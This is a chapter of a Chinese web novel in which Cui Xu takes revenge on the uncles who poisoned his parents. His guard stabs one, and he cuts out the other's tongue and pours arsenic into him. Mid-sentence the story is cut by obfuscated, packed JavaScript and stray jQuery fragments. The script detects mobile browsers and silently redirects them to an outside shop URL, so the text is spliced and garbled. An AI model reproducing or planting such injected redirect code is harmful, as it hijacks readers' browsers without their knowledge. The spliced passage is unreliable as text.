三叔瞪大双眼,不敢置信:“竖子尔敢!”
二叔看着崔叙冷冷投向他的表情,脑袋轰地一声,心中一股寒气顺着脊椎炸出一串汗毛——崔叙说的出,做的到。
崔叙二叔疯狂的大叫起来:“来人来人!!”
他院子中人手早被崔叙的人控制住,寂静的如同院中空无一人。
“哥!你怕什么!这个小x种弱成这样——”三叔撸起袖子就要往崔叙身上抡。
崔叙直视迎面而来的拳头似好一点也不害怕,甚至还脸上还带了丝笑。
真是四肢发达。
烛光晃都没晃一下,三叔只觉自己胸腹一凉,他不明所以地下意识垂头去看。
一截泛着寒光的剑尖自他胸膛中贯出头!
“轰隆——”
崔叙三叔的肥硕身体轰然倒塌在地,他死的极快,连回头看一眼杀他的是谁都不能。
可崔二叔却看的万分清楚——是崔叙的暗卫!
那滴着他同胞血液的剑尖,被他毫不在乎地撇去,他垂首而立,周身散发着被夜色还要更深的寒意。
他怎么进来的!?崔二叔惊骇起身,却又踟蹰着不敢上前,这房间他们为了一绝崔叙的后患,又怕旁人议论,连下人都是自己的门客,决计不可混入分毫!
崔三叔的身体慢慢顺着剑刃流出暗红的鲜血,逐渐汇成一摊,血腥气蔓延至整个密闭的房间。
崔叙手下的暗卫担心道:“主子,可需小人把尸体拖走?”
崔叙却不像往常一般厌恶血味,来前的病态也褪了个干净,泛着诡异的红光。血液慢慢流到他脚下,他满不在乎地瞥了一眼,“不必了,左右一把火烧掉了事。”
崔叙好整以暇地看着二叔像打翻料盒一般,从白到红,从红到青,“三叔看来是想好了怎么和地下的父兄交代,走的这么匆忙。”
崔二叔嘴唇微微颤抖,面对这个侄子几乎说不出话来,不可避免地想到一刻钟前崔叙说的话。
他弟弟已经被刺死,他呢?崔叙把毒下哪里了?
他霍然扭头将视线投向茶点,可几乎看不出一点异常。
崔叙的脸色在鲜血的映照下格外红润,此时他又不像他一直苍白着一张脸的父亲了。血液流到他的脚下,仿佛流入花瓶般,孜孜不倦地供给着瓶身的美人。他像是恶鬼般开口道:“叔叔可是在找什么地方能下毒?”
崔二叔此时连对亲弟弟的死都不愤怒了,只想活命,他扑倒崔叙脚下,温热地血液瞬间沿着他膝盖往上攀爬,他打了个激灵,“解药……解药,你要什么我都给你,崔家!权势!还有还有……你不是很喜欢你侄子吗,我把他过继给你好不好?”
崔叙像是被说动了:“还有呢?”
崔二叔一见有望,连忙道:“我什么都可以给你,只要你能看在你父亲的面子上留我一条命……”
“叔叔说笑了,我要你一条贱命干甚?”崔叙被逗笑,殷红的唇张张合合,蛇蝎般吐出毒素,他话风一转,“麻烦叔叔将当年剩下的砒霜给我吧——你们不是晓有兴趣地留作收藏吗?”
他已经知道了!他已经知道他和他弟弟合谋杀了他父母!
崔二叔脸色十分的难看,他浑身一震,不可置信地泄力坐在地上,往事一出,他几乎都逃不过必死的结局,他瞬间心如死灰:“你都知道了?谁跟你说的!?”
他抬头惶急地巡视一圈,指向地上的崔三叔:“他?还是谁!你当年不过一个半大孩子,还在京城!一定有人和你说过!”
崔叙叹了一声:“就不能自己查出吗?”
这时,一暗卫敲门道:“主子,砒霜已经拿到,只是有些受潮,恐会失效。”
“无妨,”比起瞬间死亡,他更乐得见崔二叔死前还要受折磨,他命令道,“都灌下去吧。”
“什么——”崔二叔倏地反应过来,他没被下药!
可他来不及反应,几息间便被两人一左一右似铁钳般暗中臂膀,他左右扭动身体,疯狂尖叫道:“我是你叔叔!你不怕众人指责吗!!”
“现在说这些有些晚了吧。”崔叙滚着轮椅移步直崔二叔面前,暗卫们控制住崔二叔的下巴,崔叙眼角含着笑意,随手摸了件锐器,沿着崔二叔的唇缝缓缓撬开,又像是欣赏般止住动作,“二叔这张脸啊……真是丑死了。”
崔二叔不受控制地口水流了一地,他想说什么,却无法言语,只能含糊地发出气音。
崔叙挥手割掉他的舌头,厌恶地将整管砒霜倒进他嘴中,看着药粉都被咽下,他短促地笑了一下,“知道二叔死不悔改,死了也不回说什么好话,只好由小侄代劳免得污言秽语脏了父母耳朵。”
暗卫将他扔在地上,崔二叔瘫软在血泊中,他知道药效,便是失效,他也活不久了。
他侧头看向崔叙,肖似其父的年轻隽秀面孔,若他父亲还在,一个恍然间也一定会认为是自己的大儿子还在人世。
崔叙不该出生的……
若嫡长子病弱早逝且膝下无子,崔家早晚都是他的,可偏偏就生了!分明当时已然有大夫断定无子,分明两边都是个不能生的……怎么会接连生出两个孩子!
小崔叙早早被送到京城无法下手,幸好幼子体弱,突然病逝也“合情合理”,那么……中年丧子伤心欲绝的父母跟着去了也是合情合理的。
一箭三雕,而崔叙还没等他下手便残疾,更是让他得意忘形。
多风光啊……他难以抑制地笑了几声,顺着喉管涌出一大口鲜血,他抬手虚虚指向崔叙,还以为要发表什么笃论高言,可还没伸到半空,又复重重落下——他死了。
崔叙变态般眼睛一错不错地看着崔二叔气绝身亡,力争要看清他脸上每一根抽搐的神经,直至崔二叔尸体都变得寒凉,他才意犹未尽道:“放火烧了吧,和门外的门客一起,不留一个活口。”
“是。”
暗卫听命去做,崔叙亲自转着轮椅移到院外,远处遥遥传来更夫棒子声,夜深了。
他抿住微微颤抖的嘴角,深吸一口
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16547485|178422||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
气,寒风瞬间沿着鼻腔进入肺腑。
崔二叔三叔死就死了,可他们口中所说的匪首攀咬是怎么一回事?
崔叙脸颊肌肉微微发紧,到底是谁?
自从五年前他查清一切,他都无比痛恨,痛恨自己,痛恨崔家,哪只痛恨世间的一切。
他想要崔家破灭,想要国家倾倒,想要一切一切都为那人陪葬……可他、崔家的力量太弱小了,无异于蚍蜉撼树。
他日日沉寂于当年旧事,身体也逐渐衰败,有时濒死间,仿佛还能见到那人……他几乎要觉得自己很快就能和他们团聚了。
可南越王找上他来了,请他助他承继大统。
崔叙不在乎南越王有什么私心,可他一句话便说动了崔叙——夏泽麟得位不正,以致国统中断,战事连连,民不聊生。若攻下京城,夏泽麟任由他处置。
有了这个承诺,他当即站入了南越王的队伍。他先太子伴读的人脉还在,那人又乐善好施,民间朝中对其有好感的人不少。
几年来他帮助南越王联络了不少人,只有一家,京城的杜家,家长掌控着天下赋税,若有异常京中定会派人问责,倒是便瞒不住了。
可能是看他倒霉了一辈子,天遂人愿,崔涣洵出任王国相,他顺势收买陈留郡的匪首,惹出一系列乱子,待到朝中责罚,便可通过曹立成的手威胁杜家。
杜家为保杜明旭一定会出手。
到时便可放开手脚,他一天不见夏泽麟落进他手中一天都不能瞑目。
火烧起来了,势头越发大了,被惊动的下人慌忙救火,他被暗卫推至安全地方。暗卫伏身问道:“主子还留这吗?明日还要应付官府,不如现在就歇下吧,奴婢守着就是。”
崔叙深渊般的瞳孔中倒映着火焰,橙红的火苗在他脸上来回跳动,“可。”
一年前曹立成问他如何收买高桦,听从他们派遣,他当时便知道,高桦这种人是不可能判心的,不如加以利用,达成自己的目的。
曹立成将杂七杂八的消息糊捏一通,传递给高桦让他认为匪首当真为杜家安排,他为保杜家,再由旁人激怒,若亲手杀死匪首,则立刻以此为要挟,若不杀,也会有人在他走后杀掉,杜家同样逃不掉。
可究竟是哪里出了问题?
崔叙想不清楚,难道高桦忠心没那么可靠?
如今消息连崔二叔三叔都知道,他却不知道。
究竟是有心之人特地传给他们还是曹立成在陈留郡的暗线彻底瘫痪?
他回头想看一眼火光冲天的院落,转头却只能看着暗卫宽厚的胸膛,暗卫:“可是冷了?要不先从着烤烤火,等人拿来毯子再走,或者传骄撵可好?”
崔叙:“不必兴师动众,继续走吧。”
幸好用崔二叔三叔的命帮了他一把,临死头也算有点用了。
崔叙:“明日官府来人,就由三婶出面,我和二婶都病了,不见客。消息也不用瞒着,传遍豫章,但不要提起杜家。”
暗卫垂首称是。